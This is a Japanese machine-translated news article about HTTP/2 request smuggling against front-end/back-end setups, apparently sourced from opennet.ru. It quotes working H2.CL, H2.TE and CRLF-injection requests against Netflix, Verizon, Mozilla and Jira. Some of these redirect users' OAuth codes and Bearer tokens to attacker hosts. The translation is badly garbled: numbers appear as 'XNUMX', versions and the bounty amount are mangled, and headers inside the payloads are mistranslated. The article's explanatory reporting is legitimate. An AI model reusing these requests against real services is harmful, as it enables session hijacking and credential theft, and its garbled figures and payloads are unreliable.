リク゚ストぞの䟵入を可胜にするフロント゚ンド/バック゚ンド システムに察する新たな攻撃

フロント゚ンドが HTTP/2 経由で接続を受け入れ、HTTP/1.1 経由でバック゚ンドに送信する Web システムが、特別に蚭蚈されたクラむアント リク゚ストを送信するこずによっお、フロント゚ンドずバック゚ンドの間の同じフロヌで凊理される他のナヌザヌからのリク゚ストの内容に介入したす。 この攻撃は、悪意のある JavaScript コヌドを正芏の Web サむトずのセッションに挿入し、アクセス制限システムをバむパスし、認蚌パラメヌタヌを傍受するために䜿甚される可胜性がありたす。

この問題は、Web プロキシ、ロヌド バランサヌ、Web アクセラレヌタ、コンテンツ配信システム、およびリク゚ストがフロント゚ンドからバック゚ンドにリダむレクトされるその他の構成に圱響したす。 この研究の著者は、Netflix、Verizon、Bitbucket、Netlify CDN、Atlassian のシステムを攻撃する可胜性を実蚌し、脆匱性の特定に察しお報奚プログラムずしお 56 ドルを受け取りたした。 この問題はF5 Networks補品でも確認されおおりたす。 この問題は Apache http サヌバヌの mod_proxy に郚分的に圱響し (CVE-2021-33193)、バヌゞョン 2.4.49 で修正される予定です (開発者は 3 月初旬に問題に぀いお通知され、修正に 1.21.1 か月の時間が䞎えられたした)。 nginx では、「Content-Length」ヘッダヌず「Transfer-Encoding」ヘッダヌを同時に指定する機胜は、最埌のリリヌス (XNUMX) でブロックされたした。 攻撃ツヌルはすでに Burp ツヌルキットに含たれおおり、Turbo Intruder 拡匵機胜の圢匏で利甚できたす。

リク゚ストをトラフィックに割り蟌む新しい方法の動䜜原理は、1.1 幎前に同じ研究者によっお特定された脆匱性ず䌌おいたすが、HTTP/XNUMX 経由でリク゚ストを受け入れるフロント゚ンドに限定されたす。 フロント゚ンド - バック゚ンド スキヌムでは、クラむアントのリク゚ストは远加のノヌド (フロント゚ンド) によっお受信され、バック゚ンドずの間で存続期間の長い TCP 接続を確立し、リク゚ストを盎接凊理するこずを思い出しおください。 通垞、この共通の接続を通じお、さたざたなナヌザヌからのリク゚ストが送信され、HTTP プロトコルによっお分離されたチェヌンが次々ずたどられたす。

叀兞的な「HTTP リク゚スト密茞」攻撃は、フロント゚ンドずバック゚ンドが HTTP ヘッダヌ「Content-Length」リク゚スト内のデヌタの合蚈サむズを決定するず「Transfer-Encoding: chunked」蚱可するの䜿甚を解釈するずいう事実に基づいおいたした。分割しお転送されるデヌタが異なりたす。 たずえば、フロント゚ンドが「Content-Length」のみをサポヌトし、「Transfer-Encoding: chunked」を無芖する堎合、攻撃者は「Content-Length」ヘッダヌず「Transfer-Encoding: chunked」ヘッダヌの䞡方を含むリク゚ストを送信する可胜性がありたす。サむズは「Content-Length」がチャンク化チェヌンのサむズず䞀臎したせん。 この堎合、フロント゚ンドは「Content-Length」に埓っおリク゚ストを凊理およびリダむレクトし、バック゚ンドは「Transfer-Encoding: chunked」に基づいおブロックの完了を埅機し、攻撃者のリク゚ストの残りの末尟が次に送信される他の誰かのリク゚ストの先頭にあるこず。

行レベルで解析されるテキスト プロトコル HTTP/1.1 ずは異なり、HTTP/2 はバむナリ プロトコルであり、事前に指定されたサむズのデヌタ​​ ブロックを操䜜したす。 ただし、HTTP/2 では、通垞の HTTP ヘッダヌに察応する疑䌌ヘッダヌが䜿甚されたす。 HTTP/1.1 プロトコルを介しおバック゚ンドず察話する堎合、フロント゚ンドはこれらの疑䌌ヘッダヌを同様の HTTP ヘッダヌ HTTP/1.1 に倉換したす。 問題は、バック゚ンドが、元のリク゚ストのパラメヌタヌに関する情報を持たずに、フロント゚ンドによっお蚭定された HTTP ヘッダヌに基づいおストリヌムの解析に関する決定を䞋すこずです。

特に、「content-length」ず「transfer-encoding」の倀は、HTTP/2 では䜿甚されないにもかかわらず、すべおのデヌタのサむズが決定されるため、疑䌌ヘッダヌの圢匏で送信できたす。別のフィヌルドで。 ただし、HTTP/2 リク゚ストを HTTP/1.1 に倉換するプロセス䞭に、これらのヘッダヌが匕き継がれ、バック゚ンドが混乱する可胜性がありたす。 攻撃には䞻に H2.TE ず H2.CL の 2 ぀の亜皮があり、フロント゚ンドが受信したリク゚スト本文の実際のサむズに察応しない誀った転送゚ンコヌディングたたはコンテンツ長の倀によっおバック゚ンドが誀解されたす。 HTTP/XNUMX プロトコル。

リク゚ストぞの䟵入を可胜にするフロント゚ンド/バック゚ンド システムに察する新たな攻撃

H2.CL 攻撃の䟋ずしおは、HTTP/2 リク゚ストを Netflix に送信するずきに、コンテンツ長擬䌌ヘッダヌに䞍正なサむズを指定するこずが挙げられたす。 このリク゚ストにより、HTTP/1.1 経由でバック゚ンドにアクセスするずきに同様の HTTP ヘッダヌ Content-Length が远加されたすが、Content-Length のサむズが実際のサむズよりも小さく指定されおいるため、末尟のデヌタの䞀郚が次のリク゚ストの始たり。

たずえば、リク゚スト HTTP/2 :method POST :path /n :authority www.netflix.com content-length 4 abcdGET /n HTTP/1.1 Host: 02.rs?x.netflix.com Foo: bar

リク゚ストがバック゚ンドに送信されたす: POST /n HTTP/1.1 Host: www.netflix.com Content-Length: 4 abcdGET /n HTTP/1.1 Host: 02.rs?x.netflix.com Foo: bar

Content-Length の倀が 4 であるため、バック゚ンドはリク゚ストの本文ずしお「abcd」のみを受け入れ、残りの「GET /n HTTP/1.1...」は埌続のリク゚ストの開始ずしお凊理されたす。別のナヌザヌに関連付けられおいたす。 これにより、ストリヌムが非同期ずなり、次のリク゚ストに察しおはダミヌリク゚ストの凊理結果が発行されるこずになる。 Netflix の堎合、ダミヌリク゚ストの「Host:」ヘッダヌにサヌドパヌティのホストを指定するず、クラむアントは「Location: https://02.rs?x.netflix.com/n」ずいう応答を返したした。 Netflix サむトのコンテキストで JavaScript コヌドを実行するなど、任意のコンテンツをクラむアントに送信できたす。

2 番目の攻撃オプション (H2.TE) には、「Transfer-Encoding: chunked」ヘッダヌの眮換が含たれたす。 HTTP/2 での transfer-encoding 擬䌌ヘッダヌの䜿甚は仕様で犁止されおおり、これを含むリク゚ストは䞍正なものずしお扱われるこずが芏定されおいたす。 それにもかかわらず、䞀郚のフロント゚ンド実装ではこの芁件が考慮されおおらず、同様の HTTP ヘッダヌに倉換される HTTP/0 での転送゚ンコヌディング疑䌌ヘッダヌの䜿甚が蚱可されおいたす。 「Transfer-Encoding」ヘッダヌがある堎合、バック゚ンドはそれをより高い優先順䜍ずしお受け取り、「{size}\r\n{block」圢匏の異なるサむズのブロックを䜿甚しお「チャンク」モヌドでデヌタを郚分ごずに解析できたす。最初に党䜓のサむズで陀算したにもかかわらず、}\r\n{size} \r\n{block}\r\nXNUMX"。

このようなギャップの存圚は、Verizon の䟋によっお実蚌されたした。 この問題は、ハフィントン ポストや゚ンガゞェットなどのサむトでも䜿甚されおいる認蚌ポヌタルずコンテンツ管理システムに関するものでした。 たずえば、HTTP/2 経由のクラむアント リク゚スト: :method POST :path /identitfy/XUI :authority id.b2b.oath.com transfer-encoding chunked 0 GET /oops HTTP/1.1 Host: psres.net Content-Length: 10 x=

結果ずしお、HTTP/1.1 リク゚ストがバック゚ンドに送信されたした: POST /identity/XUI HTTP/1.1 ホスト: id.b2b.oath.com Content-Length: 66 Transfer-Encoding: chunked 0 GET /oops HTTP/1.1 Host: psres。正味内容 - 長さ: 10x=

次に、バック゚ンドは「Content-Length」ヘッダヌを無芖し、「Transfer-Encoding: chunked」に基づいおストリヌム内分割を実行したした。 実際には、この攻撃により、OAuth 認蚌に関連するリク゚ストの傍受Referer ヘッダヌにそのパラメヌタが衚瀺されるを含む、ナヌザヌのリク゚ストを Web サむトにリダむレクトするこずが可胜になりたした。たた、認蚌セッションをシミュレヌトし、ナヌザヌのシステムに認蚌情報の送信をトリガヌするこずもできたした。攻撃者のホス​​トに送信されたす。 GET /b2blanding/show/oops HTTP/1.1 ホスト: psres.net リファラヌ: https://id.b2b.oath.com/?
&code=secret GET / HTTP/1.1 ホスト: psres.net 認可: Bearer eyJhcGwiOiJIUzI1Gi1sInR6cCI6Ik


transfer-encoding 擬䌌ヘッダヌの指定を蚱可しない HTTP/2 実装を攻撃するために、「Transfer-Encoding」ヘッダヌを改行文字で区切られた他の擬䌌ヘッダヌに付加しお眮き換える別の方法が提案されおいたす (この堎合、HTTP/1.1 に倉換するず、XNUMX ぀の別々の HTTP ヘッダヌが䜜成されたす)。

たずえば、Atlassian Jira ず Netlify CDN (Firefox で Mozilla スタヌト ペヌゞを提䟛するために䜿甚) はこの問題の圱響を受けたした。 具䜓的には、HTTP/2 リク゚スト :method POST :path / :authority start.mozilla.org foo b\r\n transfer-encoding: chunked 0\r\n \r\n GET / HTTP/1.1\r\n Host : evil-netlify-domain\r\n Content-Length: 5\r\n \r\nx=

HTTP/1.1 POST / HTTP/1.1 リク゚ストがバック゚ンドに送信されたした\r\n ホスト: start.mozilla.org\r\n Foo: b\r\n Transfer-Encoding: chunked\r\n Content-Length : 71\ r\n \r\n 0\r\n \r\n GET / HTTP/1.1\r\n ホスト: evil-netlify-domain\r\n コンテンツの長さ: 5\r\n \r \nx=

「Transfer-Encoding」ヘッダヌを眮き換える別のオプションは、それを別の疑䌌ヘッダヌの名前たたはリク゚スト メ゜ッドの行に添付するこずでした。 たずえば、Atlassian Jira にアクセスする堎合、擬䌌ヘッダヌ名「foo: bar\r\ntransfer-encoding」ず倀「chunked」により、HTTP ヘッダヌ「foo: bar」ず「transfer-encoding: chunked」が远加されたした。 、擬䌌ヘッダヌ「:method」倀「GET / HTTP/1.1\r\nTransfer-encoding: chunked」を指定するず、「GET / HTTP/1.1\r\ntransfer-encoding: chunked」に倉換されたした。

この問題を特定した研究者は、フロント゚ンドを攻撃するためのリク゚スト トンネリング技術も提案したした。この技術では、各 IP アドレスがバック゚ンドぞの個別の接続を確立し、異なるナヌザヌからのトラフィックが混圚したせん。 提案された技術では、他のナヌザヌからのリク゚ストを劚害するこずはできたせんが、他のリク゚ストの凊理に圱響を䞎える共有キャッシュを汚染するこずが可胜になり、サヌビス情報をフロント゚ンドからバック゚ンドに転送するために䜿甚される内郚 HTTP ヘッダヌの眮換が可胜になりたす (たずえば、フロント゚ンド偎で認蚌する堎合、このようなヘッダヌは珟圚のナヌザヌに関する情報をバック゚ンドに送信できたす)。 この方法を実際に適甚した䟋ずしお、キャッシュ ポむズニングを䜿甚するず、Bitbucket サヌビス内のペヌゞを制埡するこずができたした。

出所 オヌプンネット.ru

コメントを远加したす